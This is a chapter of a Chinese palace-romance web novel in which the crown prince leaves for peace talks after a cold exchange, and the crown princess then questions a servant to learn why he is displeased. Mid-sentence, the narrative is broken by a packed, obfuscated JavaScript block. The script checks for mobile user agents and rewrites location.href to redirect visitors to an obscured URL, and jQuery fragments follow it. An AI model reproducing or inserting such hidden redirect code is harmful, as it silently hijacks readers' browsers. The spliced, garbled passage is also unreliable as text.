48. 两相恼
作品:《君妇升职手札》 这一夜,燕景祁依旧没有回来。
第三夜、第四夜亦是如此,直到第五日黄昏,燕景祁才满面征尘地踏入长春馆。
彼时,元嘉正捏着黛笔,在素帛上勾勒山茶花的轮廓,一时入神,直到燕景祁走近才猛然惊觉。
“殿下。”
元嘉抬头一笑,动作自然地将素帛放在一旁,起身便要行礼,却被燕景祁伸手摁住了肩膀,自己则旋身坐在元嘉对面,开口道:“父皇今日下诏,命兵部和礼部主理与疏勒和谈一事,人已经选定,孤随行督办,三日后就出发。”
元嘉愣了一下,显然没想到燕景祁会同她说这些事情。怪不得男人这些日子总是忙碌非常,更少有回太子府歇息的时候,原是为了准备和谈。她此前也听欧阳沁提起过,只是没想到会与燕景祁再扯上关系。
“……若要行和谈事,将地方选在边城是最合适的。可两军交界之地,如何能没有兵士随同。”元嘉回过神来,首先想到的却是欧阳沁,“殿下此去,随行的将军又是哪一位?”
她不知道薛神妃此前是以何种姿态与燕景祁谈议政事的,但如今听来,和谈一事或许会牵涉欧阳沁,她便也顾不得那么多了。
燕景祁却似乎并不意外元嘉有此一问,只笑了笑,“你倒是敏锐,同行的正是欧阳将军。她从前便常驻边城,这次也是她大破疏勒,生擒疏勒王子,有她这个熟知情况的人跟着,最是便利。”
果然如她所想一般。
只是不知道欧阳沁这一去,只为了解决和谈事,还是就此回边关驻守。若驻守,又需要几年才能再回来。
元嘉想到此处,不免有些感伤,亦遗憾与欧阳沁相聚的时日太短。燕景祁自坐下后便一直注视着元嘉,此刻像是窥见了什么一般,眼中掠过几丝隐晦的不快,忽而道:“此桩事毕,边境至少可得十年安宁。若行教化,来日未必不能引为同族。太平日子底下,武将总是比文官更得闲的。”
虽未直言,但暗含的意味却叫元嘉陡然生出几分希冀,一时也不曾留意燕景祁语气里的异样。
元嘉先是高兴,而后忽然意识到自己的行为或有不妥──她似乎对他人他事表现的太过上心了,尤其是在为同一事需要离京的燕景祁面前。
遂斟酌着言辞开口,“如此,便是利国利民的大好事了……殿下此行,可知归期?”
“若是顺利,两、三月便可归京,若遇上些麻烦事,或就要小半载了。”燕景祁的话里夹着几分意味不明,“你替孤收整好行装,轻便些,一切从简。”
闻言,元嘉默默在心底掐算了下日子。即便取个折中的时候,燕景祁回京时也已深秋了,再怎么从简,也少不得要备下数套换季所需衣物。其余惯用之物,也得齐备,真细收拾起来,东西怕是只多不少。
“是,只是不知这一次,殿下要带哪些人一起去?”
燕景祁太子之尊,哪里能缺了人伺候,更遑论此行一路北上,路途只会愈加艰苦,元嘉少不得要问上一句,以便安排。
“此去数月,就让申时安领着他的几个徒弟随孤北上。”燕景祁忽的起身,又往侧间走去,“至于兰华,孤已交代她守在少阳宫,若期间有什么事情,也好及时叫你知道。”
元嘉跟着入内,习惯性的以为燕景祁要更换常服,一面替前者宽衣,一面低声道:“殿下放心去吧,妾身会料理好府上诸般事,定不叫出一丝差错。”
燕景祁转过身,顺着元嘉的动作脱下外袍,一双漆黑似墨的眼睛却始终盯住前者不放,“……太子妃就没有其他事情想说了?”
元嘉动作一顿,又若无其事般抚着燕景祁衣襟上的褶皱,这才出声——
“是了,妾还真有一事忘记问了……殿下此行,可有意带上府里的哪位妹妹?三日期短,殿下若有属意的人,妾也好早些告诉了去,也免得临到头收拾的手忙脚乱。”
说这话时,元嘉并没有抬头,只将自己的视线停在燕景祁衣领的纹样上。她并不确定男人问这话时的想法,但至少能笃定不是为她去畅和馆的事情,否则适才一进门便该对她发难了,又何必先与她谈及去边城的事情。
可、和谈的安排已说清了,随同北上的内官也已定了,她身为太子妃,自然也会顾好府里的一应事务,除了服侍的人,她实在想不到还有什么值得燕景祁特意问上一句。
但显然,这并不是男人想听到的答案,因为悬于她头顶的那道目光立刻变得灼人起来,“……两个女孩儿还离不得母亲,倪氏自己又还是个娇气的,便让吴氏随行吧。”
当中并未提徐丽华和卫妙音一句。
元嘉敛目应下,还不及再说话,便听耳边传来燕景祁夹着寒意的声音,“都说季家夫妇是恩爱眷侣,他们夫妻间相处,也似你同孤这般客气吗?”
一句话说的毫无由来,却似当头棒喝般叫元嘉心生悚然,可紧随着涌上来的,是足以将人理智灼烧干净的恼怒。
这段日子以来,她拼了命地将自己融进太子妃这个新身份里,更唯恐自己哪里做得不够好,绞尽脑汁地揣测男人的每一个念头,就为了他说的“合适”二字。可也是因为这个身份,她处处被人窥伺、被人拿来作比,一个又一个的疑团将她搅得身心交瘁……偏燕景祁在这个时候对她发出如此质问,委实叫人愠恼!
“申时安,回书房!”
并没有给元嘉回答的机会,燕景祁径自从前者身边绕过,就这样头也不回地离开了长春馆。
眼看男人的身影彻底消失,元嘉的脸色也终于冷了下来。胸中的怒火还在灼烧着她的五脏六腑,残余的理智却已在迫使着她低头忍耐,又不断推着她去回想燕景祁今日的种种怪异之处。
明明之前都是好好的,不管是对小喜儿,还是改了薛神妃的旧令,哪怕是在荷风园与三公主相争了一场,燕景祁到最后都不曾驳过她。只要有因,只要适度,她是强硬还是和善,燕景祁都表现得毫不在意……可为何今日有这样大的反应?
“……女君?”
盼春走了进来,隔着屏风发出一声稍带犹豫的询问,“祥顺还在院子里候着呢,女君可要召他进来?”
元嘉的脸色还有些难看,闻言眼睛微微一合,又迅速睁开,强行按捺下所有情绪,“……服侍太子的人,等在咱们院子里做甚?”
听见元嘉还算平稳的声音,盼春才终于松了一口气──她们守在外头,自然也看到了太子拂袖而去的样子,偏又没传出任何的争执声。谁也不知道发生了什么,更不敢贸贸然进屋打扰……好在还有个祥顺做借口。
“申内
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15056741|154513||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
官让人留下的,说他在澹怀堂一直做看守箱笼的活计,又说您替太子收拾行装的时候能用的上。”
盼春低声道。
元嘉搭在燕景祁外袍上的手一点点收紧,眼中满是狐疑。不对劲,以男人离开时的反应,留下祥顺绝不可能是他的授意,可她与申时安打的交道就更少了,便是与燕景祁身边的人有往来,也多是和兰华这个掌事女官。
“让他进来回话。”
盼春应了一声,不多时便领进个身材瘦长,穿褚色衣袍的小内侍。
“问女君安。”
祥顺躬身行礼,而后低眉垂眼地退回盼春身边,呼吸放得极轻,仿佛一尊静默的塑像般,只等着元嘉发话──想来进屋前便已被知会过了。
“……太子连日忙碌,想来身边的琐事也不少,倒累得你们也跟着里外一块儿跑了。”
再开口,元嘉已恢复了一贯的冷静姿态,更似未有方才的不快之事般,确认矛头或始于燕景祁出入皇宫的那几日后,便开始旁敲侧击地试探起来。
“奴才哪里敢称辛劳哪,”祥顺将腰弯得更低了些,“殿下才是为了疏勒的事情里外奔波,人也消瘦不少,奴才只瞧着都觉得心疼呢!”
燕景祁瘦了?
元嘉回忆着男人进屋时的模样,却无奈什么多余的印象也想不起来。分明是片刻钟前才见过的人,却已经变成她记忆中最无关紧要的一缕了。
祥顺自是不知,只继续道:“说来也是今上看重这次和谈,桩桩件件都要喊了人细问再细问。殿下每日穿行在前朝后宫,少不得有夜难归府的时候,有些用惯了的物件,便也会命奴才取了送进宫去。”
这便是解释为何他一个管箱笼的小内侍,会有机会跟在燕景祁的身边了。
只是,元嘉的注意力却放在了另一处上,“太子尚且因和谈一事操劳消瘦了许多,陛下呢,陛下的龙体可无恙?”
祥顺不觉有异,只唉唉一叹,“虽有太医的汤药调理,可陛下的身体哪里受得住这样的辛劳。好在有皇后殿下陪伴左右,又衣不解带地日日侍疾,如此才算是无大恙……奴才斗胆说一句,似陛下与皇后这般史书难有的帝后典范,实在乃我大周之福哪!”
元嘉立刻意识到了什么,眼中闪过几丝讥讽,却仍是赞同了两句,又状似不经意般问道:“如此辛劳,太子回来后竟也不曾歇息过吗?方才的时辰来长春馆,怕是连晚膳都没在宫里用?”
“殿下今日回的早,但也还有许多的事情呢。”祥顺老实答话,“方才先去了趟书房,还让奴才从架子上找了几本书呢。”
元嘉眸光微闪,“疏勒是我朝多年的忧患,如今得胜和谈,仍是有许多的事情要费心……想来太子让你找的,也都是些与他们有关的书卷策论吧?”
祥顺愁眉苦脸地想了会儿,“奴才哪分得清这些东西呀,只知道那架子上摆的都是些史书之类的,前朝的,本朝的都有,想来、或许是有关的吧?”
“原来如此……”
元嘉低声呢喃,有意克制的声量不曾惹来屏风外任一人的询问。
抬手覆上眼帘,元嘉好似倦累般合上了眼。她只怕再不遮掩着些,自己眼底的讥讽便彻底暴露无遗了。
她大概猜出来燕景祁忽然不快的原因了。